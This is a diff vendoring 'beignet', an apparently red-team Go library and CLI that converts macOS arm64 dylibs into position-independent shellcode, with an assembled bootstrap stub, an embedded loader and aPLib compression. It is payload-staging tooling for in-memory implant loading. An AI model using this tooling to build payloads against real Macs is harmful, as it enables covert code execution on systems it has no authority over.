<https://www.gnu.org/licenses/why-not-lgpl.html>.
+36
View File
@@ -0,0 +1,36 @@
GO ?= go
ZIG ?= zig
BIN ?= beignet
RUNNER_BIN ?= testdata/runner/runner
GO_CACHE_DIR ?= $(CURDIR)/.go-cache
ZIG_CACHE_DIR ?= $(CURDIR)/.zig-cache
export GOCACHE := $(GO_CACHE_DIR)
export ZIG_GLOBAL_CACHE_DIR := $(ZIG_CACHE_DIR)
export ZIG_LOCAL_CACHE_DIR := $(ZIG_CACHE_DIR)
.PHONY: all runner clean
all: $(BIN)
$(GO_CACHE_DIR):
@mkdir -p $@
$(ZIG_CACHE_DIR):
@mkdir -p $@
$(BIN): $(GO_CACHE_DIR)
$(GO) build -o $@ ./cli
runner: $(RUNNER_BIN)
$(RUNNER_BIN): testdata/runner/runner.c $(ZIG_CACHE_DIR)
$(ZIG) cc -target aarch64-macos -o $@ $<
clean:
rm -f $(BIN) $(RUNNER_BIN)
rm -f runner payload.bin
rm -rf $(GO_CACHE_DIR) $(ZIG_CACHE_DIR)
+21
View File
@@ -0,0 +1,21 @@
# Beignet
[Donut](github.com/sliverarmory/wasm-donut) for MacOS, converts .dylib files into MacOS PIC shellcode, can be used as a CLI or imported as a golang library.
### CLI
Convert a dylib to a raw shellcode buffer:
`./beignet --out payload.bin ./payload.dylib`
Optionally compress the staged dylib with aPLib (AP32):
`./beignet --compress --out payload.bin ./payload.dylib`
### Comple from Source
`make`
### Regenerating the embedded loader (darwin/arm64)
`go generate ./internal/stager`
+84
View File
@@ -0,0 +1,84 @@
package beignet
import (
"fmt"
"strings"
"sync"
keystone "github.com/moloch--/go-keystone"
)
const arm64BootstrapLen = 21 * 4
var (
arm64KeystoneOnce sync.Once
arm64KeystoneEng *keystone.Engine
arm64KeystoneErr error
arm64KeystoneMu sync.Mutex
)
func arm64Assembler() (*keystone.Engine, error) {
arm64KeystoneOnce.Do(func() {
arm64KeystoneEng, arm64KeystoneErr = keystone.NewEngine(keystone.ARCH_ARM64, keystone.MODE_LITTLE_ENDIAN)
})
return arm64KeystoneEng, arm64KeystoneErr
}
func assembleArm64(src string) ([]byte, error) {
eng, err := arm64Assembler()
if err != nil {
return nil, err
}
arm64KeystoneMu.Lock()
defer arm64KeystoneMu.Unlock()
return eng.Assemble(src, 0)
}
func emitMovImm64(sb *strings.Builder, reg string, imm uint64) {
lo := uint16(imm & 0xffff)
m16 := uint16((imm >> 16) & 0xffff)
m32 := uint16((imm >> 32) & 0xffff)
m48 := uint16((imm >> 48) & 0xffff)
fmt.Fprintf(sb, "movz %s, #0x%X\n", reg, lo)
fmt.Fprintf(sb, "movk %s, #0x%X, lsl #16\n", reg, m16)
fmt.Fprintf(sb, "movk %s, #0x%X, lsl #32\n", reg, m32)
fmt.Fprintf(sb, "movk %s, #0x%X, lsl #48\n", reg, m48)
}
// buildArm64Bootstrap returns a small aarch64 stub which:
// - sets x0 = base + payloadOffset
// - sets x1 = payloadSize
// - sets x2 = base + symbolOffset
// - jumps to base + loaderEntryOffsetAbs using br
//
// The loader expects payload pointer/size in x0/x1 and the entry symbol pointer in x2.
func buildArm64Bootstrap(payloadOffset, payloadSize, symbolOffset, loaderEntryOffsetAbs uint64) ([]byte, error) {
var sb strings.Builder
sb.Grow(512)
sb.WriteString("adr x9, #0\n")
emitMovImm64(&sb, "x0", payloadOffset)
sb.WriteString("add x0, x0, x9\n")
emitMovImm64(&sb, "x1", payloadSize)
emitMovImm64(&sb, "x2", symbolOffset)
sb.WriteString("add x2, x2, x9\n")
emitMovImm64(&sb, "x16", loaderEntryOffsetAbs)
sb.WriteString("add x16, x16, x9\n")
sb.WriteString("br x16\n")
b, err := assembleArm64(sb.String())
if err != nil {
return nil, err
}
if len(b) != arm64BootstrapLen {
return nil, fmt.Errorf("beignet: unexpected bootstrap length: got=%d want=%d", len(b), arm64BootstrapLen)
}
return b, nil
}
+201
View File
@@ -0,0 +1,201 @@
package aplib
import "errors"
var ErrCorrupt = errors.New("aplib: corrupt data")
// Depack decompresses a raw aPLib stream (without any safe header).
func Depack(src []byte) ([]byte, error) {
if len(src) == 0 {
return nil, ErrCorrupt
}
r := bitReader{src: src, pos: 1}
out := make([]byte, 0, len(src))
out = append(out, src[0])
var (
r0 uint32 = ^uint32(0)
lwm uint32 = 0
)
for {
bit, ok := r.getBit()
if !ok {
return nil, ErrCorrupt
}
if bit == 0 {
b, ok := r.getByte()
if !ok {
return nil, ErrCorrupt
}
out = append(out, b)
lwm = 0
continue
}
bit, ok = r.getBit()
if !ok {
return nil, ErrCorrupt
}
if bit == 0 {
offs, ok := r.getGamma()
if !ok {
return nil, ErrCorrupt
}
if lwm == 0 && offs == 2 {
offs = r0
ln, ok := r.getGamma()
if !ok {
return nil, ErrCorrupt
}
if offs == 0 || int(offs) > len(out) {
return nil, ErrCorrupt
}
for i := uint32(0); i < ln; i++ {
out = append(out, out[len(out)-int(offs)])
}
} else {
if lwm == 0 {
if offs < 3 {
return nil, ErrCorrupt
}
offs -= 3
} else {
if offs < 2 {
return nil, ErrCorrupt
}
offs -= 2
}
lo, ok := r.getByte()
if !ok {
return nil, ErrCorrupt
}
offs = (offs << 8) + uint32(lo)
ln, ok := r.getGamma()
if !ok {
return nil, ErrCorrupt
}
if offs >= 32000 {
ln++
}
if offs >= 1280 {
ln++
}
if offs < 128 {
ln += 2
}
if offs == 0 || int(offs) > len(out) {
return nil, ErrCorrupt
}
for i := uint32(0); i < ln; i++ {
out = append(out, out[len(out)-int(offs)])
}
r0 = offs
}
lwm = 1
continue
}
bit, ok = r.getBit()
if !ok {
return nil, ErrCorrupt
}
if bit == 0 {
b, ok := r.getByte()
if !ok {
return nil, ErrCorrupt
}
ln := uint32(2 + (b & 1))
offs := uint32(b >> 1)
if offs == 0 {
break
}
if int(offs) > len(out) {
return nil, ErrCorrupt
}
for i := uint32(0); i < ln; i++ {
out = append(out, out[len(out)-int(offs)])
}
r0 = offs
lwm = 1
continue
}
// bit == 1: 1 1 1
offs := uint32(0)
for i := 0; i < 4; i++ {
bit, ok := r.getBit()
if !ok {
return nil, ErrCorrupt
}
offs = (offs << 1) + uint32(bit)
}
if offs != 0 {
if int(offs) > len(out) {
return nil, ErrCorrupt
}
out = append(out, out[len(out)-int(offs)])
} else {
out = append(out, 0)
}
lwm = 0
}
return out, nil
}
type bitReader struct {
src []byte
pos int
tag byte
bitCount int
}
func (r *bitReader) getByte() (byte, bool) {
if r.pos >= len(r.src) {
return 0, false
}
b := r.src[r.pos]
r.pos++
return b, true
}
func (r *bitReader) getBit() (uint8, bool) {
if r.bitCount == 0 {
if r.pos >= len(r.src) {
return 0, false
}
r.tag = r.src[r.pos]
r.pos++
r.bitCount = 8
}
bit := (r.tag >> 7) & 1
r.tag <<= 1
r.bitCount--
return bit, true
}
func (r *bitReader) getGamma() (uint32, bool) {
v := uint32(1)
for {
bit, ok := r.getBit()
if !ok {
return 0, false
}
v = (v << 1) + uint32(bit)
bit, ok = r.getBit()
if !ok {
return 0, false
}
if bit == 0 {
return v, true
}
}
}
+202
View File
@@ -0,0 +1,202 @@
package aplib
import (
"encoding/binary"
"errors"
"math/bits"
)
var (
ErrEmptyInput = errors.New("aplib: empty input")
ErrTooLarge = errors.New("aplib: input too large")
)
// Pack compresses src into the raw aPLib bitstream format expected by aP_depack().
//
// This implements a compatible (not necessarily optimal) encoder which is sufficient
// for the loader to depack staged dylibs.
func Pack(src []byte) ([]byte, error) {
if len(src) == 0 {
return nil, ErrEmptyInput
}
if uint64(len(src)) > uint64(^uint32(0)) {
return nil, ErrTooLarge
}
w := newBitWriter(src[0])
lastWasMatch := false // LWM=0 at stream start
const (
hashBits = 16
minMatchLen = 4
)
hashTable := make([]int, 1<<hashBits) // stores pos+1
hash4 := func(b []byte) uint32 {
v := binary.LittleEndian.Uint32(b)
return (v * 2654435761) >> (32 - hashBits)
}
// Seed with position 0 if we can hash it.
if len(src) >= 4 {
h := hash4(src[:4])
hashTable[h] = 0 + 1
}
pos := 1
for pos < len(src) {
bestOff := 0
bestLen := 0
if pos+minMatchLen <= len(src) {
h := hash4(src[pos : pos+4])
candidate := hashTable[h] - 1
hashTable[h] = pos + 1
if candidate >= 0 && candidate < pos {
off := pos - candidate
if off > 0 {
l := 0
for pos+l < len(src) && src[candidate+l] == src[pos+l] {
l++
}
if l >= minMatchLen {
bestOff = off
bestLen = l
}
}
}
} else if pos+4 <= len(src) {
h := hash4(src[pos : pos+4])
hashTable[h] = pos + 1
}
if bestLen >= minMatchLen {
w.writeBit(1)
w.writeBit(0)
base := uint32(3)
if lastWasMatch {
base = 2
}
hi := uint32(bestOff >> 8)
lo := byte(bestOff & 0xff)
w.writeGamma(hi + base)
w.writeByte(lo)
adj := uint32(0)
if bestOff >= 32000 {
adj++
}
if bestOff >= 1280 {
adj++
}
if bestOff < 128 {
adj += 2
}
gammaLen := uint32(bestLen) - adj
if gammaLen < 2 {
// Should not happen with minMatchLen>=4, but fall back safely.
w.writeBit(0)
w.writeByte(src[pos])
lastWasMatch = false
pos++
continue
}
w.writeGamma(gammaLen)
lastWasMatch = true
end := pos + bestLen
if end > len(src) {
end = len(src)
}
for p := pos; p < end; p++ {
if p+4 <= len(src) {
h := hash4(src[p : p+4])
hashTable[h] = p + 1
}
}
pos = end
continue
}
w.writeBit(0)
w.writeByte(src[pos])
lastWasMatch = false
pos++
}
// End marker: 1 1 0 then offs byte = 0.
w.writeBit(1)
w.writeBit(1)
w.writeBit(0)
w.writeByte(0)
return w.out, nil
}
type bitWriter struct {
out []byte
tagIndex int
bitPos int
}
func newBitWriter(firstLiteral byte) *bitWriter {
return &bitWriter{
out: []byte{firstLiteral},
tagIndex: -1,
bitPos: -1,
}
}
func (w *bitWriter) startTag() {
w.out = append(w.out, 0)
w.tagIndex = len(w.out) - 1
w.bitPos = 7
}
func (w *bitWriter) ensureTag() {
if w.tagIndex < 0 || w.bitPos < 0 {
w.startTag()
}
}
func (w *bitWriter) writeBit(bit uint32) {
w.ensureTag()
if bit != 0 {
w.out[w.tagIndex] |= 1 << w.bitPos
}
w.bitPos--
}
func (w *bitWriter) writeByte(b byte) {
w.out = append(w.out, b)
}
// writeGamma writes the "gamma2" coding used by aPLib.
//
// Valid values are >= 2. Values < 2 are not representable.
func (w *bitWriter) writeGamma(v uint32) {
// aP_getgamma() starts at 1 and runs the body at least once, so the minimum
// representable value is 2.
if v < 2 {
v = 2
}
// For each bit after the MSB, output (dataBit, continueBit).
n := bits.Len32(v)
for shift := n - 2; shift >= 0; shift-- {
dataBit := (v >> shift) & 1
w.writeBit(dataBit)
continueBit := uint32(0)
if shift != 0 {
continueBit = 1
}
w.writeBit(continueBit)
}
}
+74
View File
@@ -0,0 +1,74 @@
package aplib
import (
"encoding/binary"
"errors"
"hash/crc32"
)
const (
safeTag = 0x32335041 // 'AP32'
safeHeaderSize = 24
)
var ErrBadHeader = errors.New("aplib: bad safe header")
// PackSafe returns a safe-packed aPLib buffer (AP32 header + raw stream).
func PackSafe(src []byte) ([]byte, error) {
if len(src) == 0 {
return nil, ErrEmptyInput
}
if uint64(len(src)) > uint64(^uint32(0)) {
return nil, ErrTooLarge
}
packed, err := Pack(src)
if err != nil {
return nil, err
}
if uint64(len(packed)) > uint64(^uint32(0)) {
return nil, ErrTooLarge
}
hdr := make([]byte, safeHeaderSize)
binary.LittleEndian.PutUint32(hdr[0:4], safeTag)
binary.LittleEndian.PutUint32(hdr[4:8], safeHeaderSize)
binary.LittleEndian.PutUint32(hdr[8:12], uint32(len(packed)))
binary.LittleEndian.PutUint32(hdr[12:16], crc32.ChecksumIEEE(packed))
binary.LittleEndian.PutUint32(hdr[16:20], uint32(len(src)))
binary.LittleEndian.PutUint32(hdr[20:24], crc32.ChecksumIEEE(src))
out := make([]byte, 0, len(hdr)+len(packed))
out = append(out, hdr...)
out = append(out, packed...)
return out, nil
}
// DepackSafe depacks an AP32 header + aPLib buffer.
func DepackSafe(src []byte) ([]byte, error) {
if len(src) < safeHeaderSize {
return nil, ErrBadHeader
}
if binary.LittleEndian.Uint32(src[0:4]) != safeTag {
return nil, ErrBadHeader
}
headerSize := binary.LittleEndian.Uint32(src[4:8])
if headerSize < safeHeaderSize || headerSize > uint32(len(src)) {
return nil, ErrBadHeader
}
packedSize := binary.LittleEndian.Uint32(src[8:12])
if uint64(headerSize)+uint64(packedSize) > uint64(len(src)) {
return nil, ErrBadHeader
}
origSize := binary.LittleEndian.Uint32(src[16:20])
body := src[headerSize : headerSize+packedSize]
out, err := Depack(body)
if err != nil {
return nil, err
}
if uint32(len(out)) != origSize {
return nil, ErrCorrupt
}
return out, nil
}
File diff suppressed because it is too large. Load diff
+3
View File
@@ -0,0 +1,3 @@
package stager
//go:generate go run ../../internal/tools/genstager -src ../../internal/loader/beignet_loader.c -out .
+8
View File
@@ -0,0 +1,8 @@
package stager
// LoaderText returns the embedded darwin/arm64 loader image bytes and the entry
// function offset (relative to the start of the image).
func LoaderText() ([]byte, uint64, error) {
text, entryOff := loaderTextDarwinArm64()
return text, entryOff, nil
}
Binary file not shown.
@@ -0,0 +1,13 @@
// Code generated by internal/tools/genstager; DO NOT EDIT.
package stager
import _ "embed"
//go:embed stager_darwin_arm64.bin
var imageDarwinArm64 []byte
const entryOffsetDarwinArm64 = 0x628
func loaderTextDarwinArm64() ([]byte, uint64) {
return imageDarwinArm64, entryOffsetDarwinArm64
}
+11
View File
@@ -0,0 +1,11 @@
package beignet
import _ "embed"
//go:embed internal/loader/beignet_loader.c
var loaderCSource string
// LoaderCSource returns the embedded darwin/arm64 loader C source code.
func LoaderCSource() string {
return loaderCSource
}
+176
View File
@@ -0,0 +1,176 @@
package beignet
import (
"bytes"
"debug/macho"
"errors"
"fmt"
"os"
"strings"
"github.com/sliverarmory/beignet/internal/aplib"
"github.com/sliverarmory/beignet/internal/stager"
)
const (
defaultEntrySymbol = "_StartW"
)
var (
ErrUnsupportedArch = errors.New("beignet: only darwin/arm64 is supported")
ErrInvalidMachO = errors.New("beignet: invalid Mach-O")
)
type Options struct {
// EntrySymbol is the symbol name to resolve in the loaded module (e.g. "_StartW").
// If provided without a leading underscore, one is added.
EntrySymbol string
// Compress enables aPLib "AP32" safe-packed compression for the staged dylib
// buffer. This reduces shellcode size and requires the embedded loader.
Compress bool
}
func DylibFileToShellcode(path string, opts Options) ([]byte, error) {
payload, err := readMachOArm64Slice(path)
if err != nil {
return nil, err
}
return DylibToShellcode(payload, opts)
}
func DylibToShellcode(dylib []byte, opts Options) ([]byte, error) {
if err := validateMachOArm64(dylib); err != nil {
return nil, err
}
entrySymbol, err := normalizeEntrySymbol(opts.EntrySymbol)
if err != nil {
return nil, err
}
payload := dylib
if opts.Compress {
packed, err := aplib.PackSafe(dylib)
if err != nil {
return nil, fmt.Errorf("beignet: aplib compress: %w", err)
}
payload = packed
}
loaderText, loaderEntryOff, err := stager.LoaderText()
if err != nil {
return nil, err
}
bootstrap, err := buildArm64Bootstrap(0, 0, 0, 0)
if err != nil {
return nil, fmt.Errorf("beignet: assemble arm64 bootstrap: %w", err)
}
// The embedded loader is a (mostly) position-independent Mach-O image blob.
// It expects to start at a page boundary so ADRP-based addressing remains valid.
//
// The shellcode buffer itself is mapped at a page boundary by the test runner,
// so we just need to align the loader start offset.
const loaderAlign = 0x1000
loaderStart := alignUp(uint64(len(bootstrap)), loaderAlign)
loaderPad := int(loaderStart - uint64(len(bootstrap)))
loaderEntryAbs := loaderStart + loaderEntryOff
payloadStart := alignUp(loaderStart+uint64(len(loaderText)), 16)
payloadSize := uint64(len(payload))
entrySymbolStart := payloadStart + payloadSize
bootstrap, err = buildArm64Bootstrap(payloadStart, payloadSize, entrySymbolStart, loaderEntryAbs)
if err != nil {
return nil, fmt.Errorf("beignet: assemble arm64 bootstrap: %w", err)
}
out := make([]byte, 0, int(entrySymbolStart)+len(entrySymbol)+1)
out = append(out, bootstrap...)
if loaderPad > 0 {
out = append(out, make([]byte, loaderPad)...)
}
out = append(out, loaderText...)
padLen := int(payloadStart - uint64(len(out)))
if padLen < 0 {
return nil, fmt.Errorf("beignet: internal alignment error (pad=%d)", padLen)
}
if padLen > 0 {
out = append(out, make([]byte, padLen)...)
}
out = append(out, payload...)
out = append(out, entrySymbol...)
out = append(out, 0) // NUL-terminate symbol name
return out, nil
}
func normalizeEntrySymbol(sym string) ([]byte, error) {
sym = strings.TrimSpace(sym)
if sym == "" {
sym = defaultEntrySymbol
}
if strings.ContainsRune(sym, '\x00') {
return nil, fmt.Errorf("beignet: entry symbol contains NUL")
}
if !strings.HasPrefix(sym, "_") {
sym = "_" + sym
}
return []byte(sym), nil
}
func validateMachOArm64(b []byte) error {
f, err := macho.NewFile(bytes.NewReader(b))
if err != nil {
return fmt.Errorf("%w: %v", ErrInvalidMachO, err)
}
_ = f.Close()
if f.Cpu != macho.CpuArm64 {
return fmt.Errorf("%w: %s", ErrUnsupportedArch, f.Cpu)
}
switch f.Type {
case macho.TypeDylib, macho.TypeBundle:
return nil
default:
return fmt.Errorf("%w: unexpected file type %v", ErrInvalidMachO, f.Type)
}
}
func readMachOArm64Slice(path string) ([]byte, error) {
b, err := os.ReadFile(path)
if err != nil {
return nil, err
}
ff, err := macho.NewFatFile(bytes.NewReader(b))
if err == nil {
defer ff.Close()
for _, arch := range ff.Arches {
if arch.Cpu != macho.CpuArm64 {
continue
}
off := int(arch.Offset)
size := int(arch.Size)
if off < 0 || size < 0 || off+size > len(b) {
return nil, fmt.Errorf("%w: invalid fat arch bounds", ErrInvalidMachO)
}
return b[off : off+size], nil
}
return nil, fmt.Errorf("%w: no arm64 slice in fat Mach-O", ErrUnsupportedArch)
}
// Not a fat Mach-O; treat as thin.
return b, nil
}
func alignUp(v uint64, align uint64) uint64 {
if align == 0 {
return v
}
mask := align - 1
return (v + mask) &^ mask
}
+8
View File
@@ -803,6 +803,9 @@ github.com/grpc-ecosystem/go-grpc-middleware/util/metautils
# github.com/hashicorp/go-uuid v1.0.3
## explicit
github.com/hashicorp/go-uuid
# github.com/hashicorp/yamux v0.1.2
## explicit; go 1.20
github.com/hashicorp/yamux
# github.com/hdevalence/ed25519consensus v0.2.0
## explicit; go 1.19
github.com/hdevalence/ed25519consensus
@@ -1262,6 +1265,11 @@ github.com/slack-go/slack/internal/backoff
github.com/slack-go/slack/internal/errorsx
github.com/slack-go/slack/internal/timex
github.com/slack-go/slack/slackutilsx
# github.com/sliverarmory/beignet v0.0.2
## explicit; go 1.25.6
github.com/sliverarmory/beignet
github.com/sliverarmory/beignet/internal/aplib
github.com/sliverarmory/beignet/internal/stager
# github.com/sliverarmory/wasm-donut v0.0.3
## explicit; go 1.25.6
github.com/sliverarmory/wasm-donut